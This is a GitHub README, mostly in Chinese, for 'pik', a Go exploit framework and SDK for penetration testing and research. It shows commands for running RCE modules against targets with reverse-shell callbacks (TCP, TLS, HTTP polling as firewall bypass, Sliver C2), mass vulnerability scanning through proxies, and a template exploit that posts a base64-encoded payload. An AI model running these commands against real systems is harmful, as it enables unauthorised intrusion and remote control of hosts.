Chocapikk/pik
GitHub: Chocapikk/pik
基于 Go 的漏洞利用框架与 SDK,支持交互式控制台、独立二进制编译、Docker 实验室环境和多种 C2 后端。
Stars: 0 | Forks: 1
# pik
[](https://github.com/Chocapikk/pik/actions/workflows/ci.yml)
[](https://github.com/Chocapikk/pik/actions/workflows/ci.yml)
[](https://github.com/Chocapikk/pik/releases/latest)
[](LICENSE)
Go 漏洞利用框架。只需编写一次漏洞利用代码,即可将其作为独立二进制文件运行,或在带有交互式控制台的框架内运行。
## 安装
```
go install github.com/Chocapikk/pik/cmd/pik@latest
```
或更新现有安装:
```
pik update
```
## 使用
```
pik # Interactive readline console (default)
pik console # Same as above
pik tui # TUI dashboard with tabs
pik run opendcim_sqli_rce -t target -s LHOST=ip # Run an exploit
pik check opendcim_sqli_rce -t target # Check only
pik info opendcim_sqli_rce # Module details + dorks
pik build opendcim_sqli_rce -o opendcim # Standalone binary
pik list # List all modules
pik lab run langflow_validate_code_rce # Start lab + exploit (zero config)
pik lab status # List running labs
```
## 控制台
```
pik > use opendcim_sqli_rce
pik opendcim_sqli_rce > show options
pik opendcim_sqli_rce > set TARGET http://target
pik opendcim_sqli_rce > set LHOST 10.0.0.1
pik opendcim_sqli_rce > check
pik opendcim_sqli_rce > exploit
>> Session 1 opened (10.0.0.2:49326)
www-data@target:~$ ^Z
>> Session 1 backgrounded
pik opendcim_sqli_rce > sessions
pik opendcim_sqli_rce > kill 1
```
命令:`use`, `back`, `show options|advanced|payloads|targets|modules`, `set`, `unset`, `target`, `check`, `exploit`, `lab start|stop|status|run`, `sessions`, `kill`, `search`, `info`, `resource`, `list`, `rank`, `clear`, `help`.
Ctrl+Z 将会话置于后台。`use ` 通过索引选择模块。`resource exploit.rc` 从文件运行命令。历史记录在会话之间持久保存。
## TUI 仪表板
```
pik tui
```
支持鼠标和键盘的选项卡式仪表板:
- **F1 Browse** - 带有搜索栏、可靠性、检查支持、CVE 的模块表
- **F2 Config** - 内联选项编辑,操作按钮(Check, Exploit, Lab),高级开关
- **F3 Sessions** - 带有 Interact/Kill 操作的会话列表
输出视口始终在底部可见。点击可在 TUI 和控制台输入区域之间切换。TUI 和控制台共享相同的业务逻辑 —— 独立二进制文件不会引入 TUI 依赖项。
## 实验室环境
模块可以声明 Docker 实验室环境。一条命令即可从零开始获取 shell:
```
pik lab run langflow_validate_code_rce # Start lab, wait ready, exploit, shell
pik lab start langflow_validate_code_rce # Just start the lab
pik lab status # List running labs
pik lab stop langflow_validate_code_rce # Tear down
```
`lab run` 流程:拉取镜像,创建容器,等待 TCP,使用 `Check()` 探测直到应用响应,从 Docker 网关自动检测 LHOST,运行漏洞利用,弹出 shell。零配置。
实验室仅绑定到 `127.0.0.1`(绝不暴露给网络)。服务获取用于容器间解析的 DNS 别名、用于启动顺序的健康检查以及重启策略。
在模块中声明实验室:
```
Lab: sdk.Lab{
Services: []sdk.Service{
sdk.NewLabService("db", "mysql:5.7").
WithEnv("MYSQL_ROOT_PASSWORD", sdk.Rand("db_pass")).
WithHealthcheck("mysqladmin ping -h localhost"),
sdk.NewLabService("web", "wordpress:6.4", "80").
WithEnv("WORDPRESS_DB_HOST", "db").
WithEnv("WORDPRESS_DB_PASSWORD", sdk.Rand("db_pass")),
},
},
```
`sdk.Rand("label")` 在实验室启动时生成一个随机值。跨服务的相同标签解析为相同的值(共享凭据)。主机端口始终由框架随机化以避免冲突。
## C2 后端
三个内置后端,以及 Sliver 集成:
```
# TCP 反向 shell(默认)
pik run opendcim_sqli_rce -t target -s LHOST=ip
# TLS 加密
pik run opendcim_sqli_rce -t target -s LHOST=ip -s C2=sslshell
# HTTP 轮询(防火墙绕过)
pik run opendcim_sqli_rce -t target -s LHOST=ip -s C2=httpshell -s PAYLOAD=reverse_php_http
# Sliver C2
pik run opendcim_sqli_rce -t target -s LHOST=ip -s C2=sliver -s C2CONFIG=~/.sliver/configs/operator.cfg
```
## 扫描
```
pik check opendcim_sqli_rce -f targets.txt --threads 50 -o vulnerable.txt
pik check opendcim_sqli_rce -f targets.txt --threads 50 -o results.json --json
```
支持带有 `-s PROXIES=socks5://127.0.0.1:1080` 的 HTTP/SOCKS5 代理。
## 独立二进制文件
任何模块都可以编译成一个独立的二进制文件,内置检查、漏洞利用、扫描器、反向 shell 监听器和可选的实验室支持:
```
pik build opendcim_sqli_rce -o opendcim
./opendcim --help
./opendcim -t target -s LHOST=10.0.0.1 # Exploit
./opendcim -t target --check # Check only
./opendcim -f targets.txt --threads 50 -o vulns.txt --check # Mass scan
```
所有模块选项均通过 `-s KEY=VALUE` 传递。运行 `--help` 查看可用选项。
## 编写你自己的漏洞利用
```
package main
import (
"github.com/Chocapikk/pik/sdk"
_ "github.com/Chocapikk/pik/pkg/cli"
)
type MyExploit struct{ sdk.Pik }
func (m *MyExploit) Info() sdk.Info {
return sdk.Info{
Description: "My exploit",
Authors: sdk.Authors(sdk.NewAuthor("Your Name").WithHandle("handle")),
Reliability: sdk.Typical,
Targets: []sdk.Target{sdk.TargetLinux("amd64")},
}
}
func (m *MyExploit) Check(run *sdk.Context) (sdk.CheckResult, error) {
resp, err := run.Send(sdk.HTTPRequest{Path: "vulnerable.php"})
if err != nil {
return sdk.Unknown(err)
}
if resp.ContainsAny("marker") {
return sdk.Vulnerable("marker found")
}
return sdk.Safe("not vulnerable")
}
func (m *MyExploit) Exploit(run *sdk.Context) error {
cmd := run.CommentTrail(run.Base64Bash(run.Payload()))
_, err := run.Send(sdk.HTTPRequest{
Method: "POST",
Path: "rce.php",
Form: sdk.Values{"cmd": {cmd}},
})
return err
}
func main() {
sdk.Run(&MyExploit{})
}
```
```
go build -o myexploit .
./myexploit -t http://target -s LHOST=10.0.0.1
```
## 供应链安全
发布二进制文件使用 minisign 签名。`pik update` 在替换自身之前验证签名和校验和。签名公钥嵌入在二进制文件中。
## 从源代码构建
```
make build # Dev build
make build VERSION=1.0.0 # Versioned build
make static # Static binary (CGO_ENABLED=0)
make install # Install to $GOPATH/bin
make test # Run tests
make vet # Lint
```
## 许可证
AGPL-3.0。可免费用于渗透测试、研究、CTF 和内部安全工作。如果您在 pik 之上构建商业产品或服务,AGPL 要求您开源整个代码库。请联系作者获取商业许可。
标签:CISA项目, CVE 利用, Exploit-Dev, Go 语言, Go语言工具, Kali 工具, Maven, PE 加载器, RCE, SQL 注入, TUI, Web报告查看器, XML 请求, 二进制构建, 交互式控制台, 代码生成, 威胁模拟, 安全 SDK, 安全开发, 底层编程, 攻击模拟, 无服务器架构, 日志审计, 渗透测试工具, 漏洞利用框架, 漏洞验证, 网络安全, 请求拦截, 隐私保护, 驱动签名利用